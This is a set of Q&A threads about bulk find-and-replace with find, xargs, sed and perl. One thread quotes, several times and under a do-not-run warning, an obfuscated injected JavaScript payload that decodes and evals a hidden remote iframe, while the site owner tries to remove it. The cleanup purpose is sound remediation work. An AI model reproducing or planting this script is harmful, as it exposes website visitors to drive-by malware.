I am trying to search for all files on my server called index.php and then use xargs to run sed to replace some text in those files.
The line I want to find is:
echo '<form method="get" class="search_form" action="'.$siteUrl.'">';
And after the replacement, it should look like this:
echo '<form method="get" class="search_form" action="/">';
Therefore, I really only need to change '.$siteUrl.' to a single /
However, when I try to run this command from an SSH prompt (which I think is right):
find . -name "index.php" -print | xargs sed -i 's/\'\.\$siteUrl\.\'/"/"/g'
it just drops me to a prompt of > and does not go any further...
I have also tried using the same sed command on a single file, which does the same. Can someone point me out where I have gone wrong?
You are replacing text with / which is also used as the substitution delimiter. Escape it like this: \/
No need to put double quotes around the replacement since they are already present in the html string.
Use double quotes around the entire sed expression, to avoid conflict with '
-print is the default action for find and can be skipped.
Try this:
find . -name "index.php" | xargs sed -i "s/'\.\$siteUrl\.'/\//g"
Or use a different delimiter for sed, like : and remove the escape before /:
find . -name "index.php" | xargs sed -i "s:'\.\$siteUrl\.':/:g"
Oh, and always a good idea to save a backup of edited files (-i.bak):
find . -name "index.php" | xargs sed -i.bak "s:'\.\$siteUrl\.':/:g"
Related
I have found some similar questions here but not this specific one and I do not want to break all my files. I have a list of files and I simply need to replace all spaces with underscores. I know this is a sed command but I am not sure how to generically apply this to every file.
I do not want to rename the files, just modify them in place.
Edit: To clarify, just in case it's not clear, I only want to replace whitespace within the files, file names should not be changed.
find . -type f -exec sed -i -e 's/ /_/g' {} \;
find grabs all items in the directory (and subdirectories) that are files, and passes those filenames as arguments to the sed command using the {} \; notation. The sed command it appears you already understand.
if you only want to search the current directory, and ignore subdirectories, you can use
find . -maxdepth 1 -type f -exec sed -i -e 's/ /_/g' {} \;
This is a 2 part problem. Step 1 is providing the proper sed command, 2 is providing the proper command to replace all files in a given directory.
Substitution in sed commands follows the form s/ItemToReplace/ItemToReplaceWith/pattern, where s stands for the substitution and pattern stands for how the operation should take place. According to this super user post, in order to match whitespace characters you must use either \s or [[:space:]] in your sed command. The difference being the later is for POSIX compliance. Lastly you need to specify a global operation which is simply /g at the end. This simply replaces all spaces in a file with underscores.
Substitution in sed commands follows the form s/ItemToReplace/ItemToReplaceWith/pattern, where s stands for the substitution and pattern stands for how the operation should take place. According to this super user post, in order to match whitespace characters you must use either just a space in your sed command, \s, or [[:space:]]. The difference being the last 2 are for whitespace catching (tabs and spaces), with the last needed for POSIX compliance. Lastly you need to specify a global operation which is simply /g at the end.
Therefore, your sed command is
sed s/ /_/g FileNameHere
However this only accomplishes half of your task. You also need to be able to do this for every file within a directory. Unfortunately, wildcards won't save us in the sed command, as * > * would be ambiguous. Your only solution is to iterate through each file and overwrite them individually. For loops by default should come equipped with file iteration syntax, and when used with wildcards expands out to all files in a directory. However sed's used in this manner appear to completely lose output when redirecting to a file. To correct this, you must specify sed with the -i flag so it will edit its files. Whatever item you pass after the -i flag will be used to create a backup of the old files. If no extension is passed (-i '' for instance), no backup will be created.
Therefore the final command should simply be
for i in *;do sed -i '' 's/ /_/g' $i;done
Which looks for all files in your current directory and echos the sed output to all files (Directories do get listed but no action occurs with them).
Well... since I was trying to get something running I found a method that worked for me:
for file in `ls`; do sed -i 's/ /_/g' $file; done
I would like to know how to search from the command line for a string in various files of type .rb.
And replace:
.delay([ANY OPTIONAL TEXT FOR DELETION]).
with
.delay.
Besides sed an awk are there any other command line tools included in the OS that are better for the task?
Status
So far I have the following regular expression:
.delay\(*.*\)\.
I would like to know how to match only the expression ending on the first closing parenthesis? And avoid replacing:
.delay([ANY OPTIONAL TEXT FOR DELETION]).sometext(param)
Thanks in advance!
If you need to find and replace text in files - sed seems to be the best command line solution.
Search for a string in the text file and replace:
sed -i 's/PATTERN/REPLACEMENT/' file.name
Or, if you need to process multiple occurencies of PATTERN in file, add g key
sed -i 's/PATTERN/REPLACEMENT/g' file.name
For multiple files processing - redirect list of files to sed:
echo "${filesList}" | xargs sed -i ...
You can use find to generate your list of files, and xargs to run sed over the result:
find . -type f -print | xargs sed -i 's/\.delay.*/.delay./'
find will generate a list of files contained in your current directory (., although you can of course pass a different directory), xargs will read that list and then run sed with the list of files as an argument.
Instead of find, which here generates a list of all files, you could use something like grep to generate a list of files that contain a specific term. E.g.:
grep -rl '\.delay' | xargs sed -i ...
For the part of the question where you want to only match and replace until the first ) and not include a second pair of (), here is how to change your regex:
.delay\(*.*\)\.
->
\.delay\([^\)]*\)
I.e. match "actual dot, delay, brace open, everything but brace close and brace close".
E.g. using sed:
>echo .delay([ANY OPTIONAL TEXT FOR DELETION]).sometext(param) | sed -E "s/\.delay\([^\)]*\)/.delay/"
.delay.sometext(param)
I recommend to use grep for finding the right files:
grep -rl --include "*.rb" '\.delay' .
Then feed the list into xargs, as recommended by other answers.
Credits to the other answers for providing a solution for feeding multiple files into sed.
I need to look for and replace certain strings for all files in a directory, including sub-directories. I think I'm nearly there using the following method which illustrates my general approach. I do much more inside the -exec than just this replace, but have removed this for clarity.
#!/bin/bash
#call with params: in_directory out_directory
in_directory=$1
out_directory=$2
export in_directory
export out_directory
#Duplicate the in_directory folder structure in out_directory
cd "$in_directory" &&
find . -type d -exec mkdir -p -- "$out_directory"/{} \;
find $in_directory -type f -name '*' -exec sh -c '
for file do
#Quite a lot of other stuff, including some fiddling with $file to
#get rel_file, the part of the path to a file from
#in_directory. E.g if in_directory is ./ then file ./ABC/123.txt
#will have rel_file ABC/123.txt
cat $file|tr -d '|' |sed -e 's/,/|/g' > $out_directory/$rel_file
done
' sh {} +
One issue is likely how I've tried to write the file to pipe the output to. However, this isn't the main/only issue as when I replace it with an explicit test path I still get the error
|sed -e 's/,/|/g' |No such file or directory
which makes me think the cat $file part is the problem?
Any help is massively appreciated as always - this is only the second BASH script I've ever had to write so I expect I've made a fairly basic mistake!
Your "inner" single quotes are being seen as "outer" single quotes and causing you problems. You think you are quoting the | in the tr command but what you are actually doing is ending the initial single-quoted string having an unquoted | and then starting a new single-quoted string. That second single-quoted string then ends at the single-quote that you believe is starting the sed script but is instead ending the previous single-quoted string, etc.
Use double quotes for those embedded single quotes if you can. Where you can't do that you have to use the '\'' sequence to get a literal single-quote in the single-quoted string.
First off, I need to give a disclaimer:
DO NOT RUN THIS JAVASCRIPT
It is code that has been injected in to some of my sites by someone unscrupulous. I need to find and replace it (with either a space or nothing). It has specifically targeted index.html and index.htm files with the exact same code in all of them.
The JavaScript is the following (again, don't run it).
<script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:"");for(;587!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>
I need to find and replace this via a unix-like command line (I don't want to have to go through every file manually).
I have tried the following:
sed -i "s/<script>i=0;try{avasv=prototype;}catch(z){h=\"harCode\";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v=\"e\"+\"va\";}if(v)e=window[v+\"l\"];try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:\"\");for(;587!=i;i+=1){j=i;if(e)s=s+r[\"fromC\"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>/ /g" *.html
Escaping all the double quotes, but this still throws the error:
sed: -e expression #1, char 2075: unknown option to `s'
However, I know that the s option does work, as I have previously used this to find and replace some PHP.
I have also tried the following, but to no effect either (throws the same error):
find . \( -name "*.html" -or -name "*.htm" \) | xargs grep -l "<script>i=0;try{avasv=prototype;}catch(z){h=\"harCode\";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v=\"e\"+\"va\";}if(v)e=window[v+\"l\"];try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:\"\");for(;587!=i;i+=1){j=i;if(e)s=s+r[\"fromC\"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>" | xargs sed -i -e "s/<script>i=0;try{avasv=prototype;}catch(z){h=\"harCode\";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v=\"e\"+\"va\";}if(v)e=window[v+\"l\"];try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:\"\");for(;587!=i;i+=1){j=i;if(e)s=s+r[\"fromC\"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>/ /g"
What is causing this error, and how can I fix it?
I am at a loss as to what is causing that error, so any help is greatly appreciated.
The problem is that you're not escaping the special characters in the text, such as the / delimiter.
The easiest solution is to pick a different delimiter and to specify only a part of the string, for instance
find . -name '*.html' -o -name '*.htm' |
xargs fgrep -l '<script>i=0;try' |
xargs perl -i.infected -pe 's#<script>i=0;try.*?</script>##g'
(untested) may do the job.
(The .*? construct picks the shortest match; I don't know how to do that in sed.)
Verify with something like
find . -name '*.infected' | sed -e 's#.*#diff & &#' -e 's#.infected##' | sh -x
The sed error came from the fact that the syntax for search and replace is:
s/text/replace/options
But in your text a / appears, so the get the parts test, replace and options wrong.
There is an easy solution. sed does not need to use the / as the delimiter between the argumens. You can use any char you want. Just pick one not appearing in your text, e.g # or % (the first delimiter (the one after the intial s) is the delimiter he expects in the rest of the command)..
HI
I am not very good with linux shell scripting.I am trying following shell script to replace
revision number token $rev -<rev number> in all html files under specified directory
cd /home/myapp/test
set repUpRev = "`svnversion`"
echo $repUpRev
grep -lr -e '\$rev -'.$repUpRev.'\$' *.html | xargs sed -i 's/'\$rev -'.$repUpRev.'\$'/'\$rev -.*$'/g'
This seems not working, what is wrong with the above code ?
rev=$(svnversion)
sed -i.bak "s/$rev/some other string/g" *.html
What is $rev in the regexp string? Is it another variable? Or you're looking for a string '$rev'. If latter - I would suggest adding '\' before $ otherwise it's treated as a special regexp character...
This is how you show the last line:
grep -lr -e '\$rev -'.$repUpRev.'\$' *.html | xargs sed -i 's/'\$rev -'.$repUpRev.'\$'/'\$rev -.*$'/g'
It would help if you showed some input data.
The -r option makes the grep recursive. That means it will operate on files in the directory and its subdirectories. Is that what you intend?
The dots in your grep and sed stand for any character. If you want literal dots, you'll need to escape them.
The final escaped dollar sign in the grep and sed commands will be seen as a literal dollar sign. If you want to anchor to the end of the line you should remove the escape.
The .* works only as a literal string on the right hand side of a sed s command. If you want to include what was matched on the left side, you need to use capture groups. The g modifier on the s command is only needed if the pattern appears more than once in a line.
Using quote, unquote, quote, unquote is hard to read. Use double quotes to permit variable expansion.
Try your grep command by itself without the xargs and sed to see if it's producing a list of files.
This may be closer to what you want:
grep -lr -e "\$rev -.$repUpRev.$" *.html | xargs sed -i "s/\$rev -.$repUpRev.$/\$rev -REPLACEMENT_TEXT/g"
but you'll still need to determine if the g modifier, the dots, the final dollar signs, etc., are what you intend.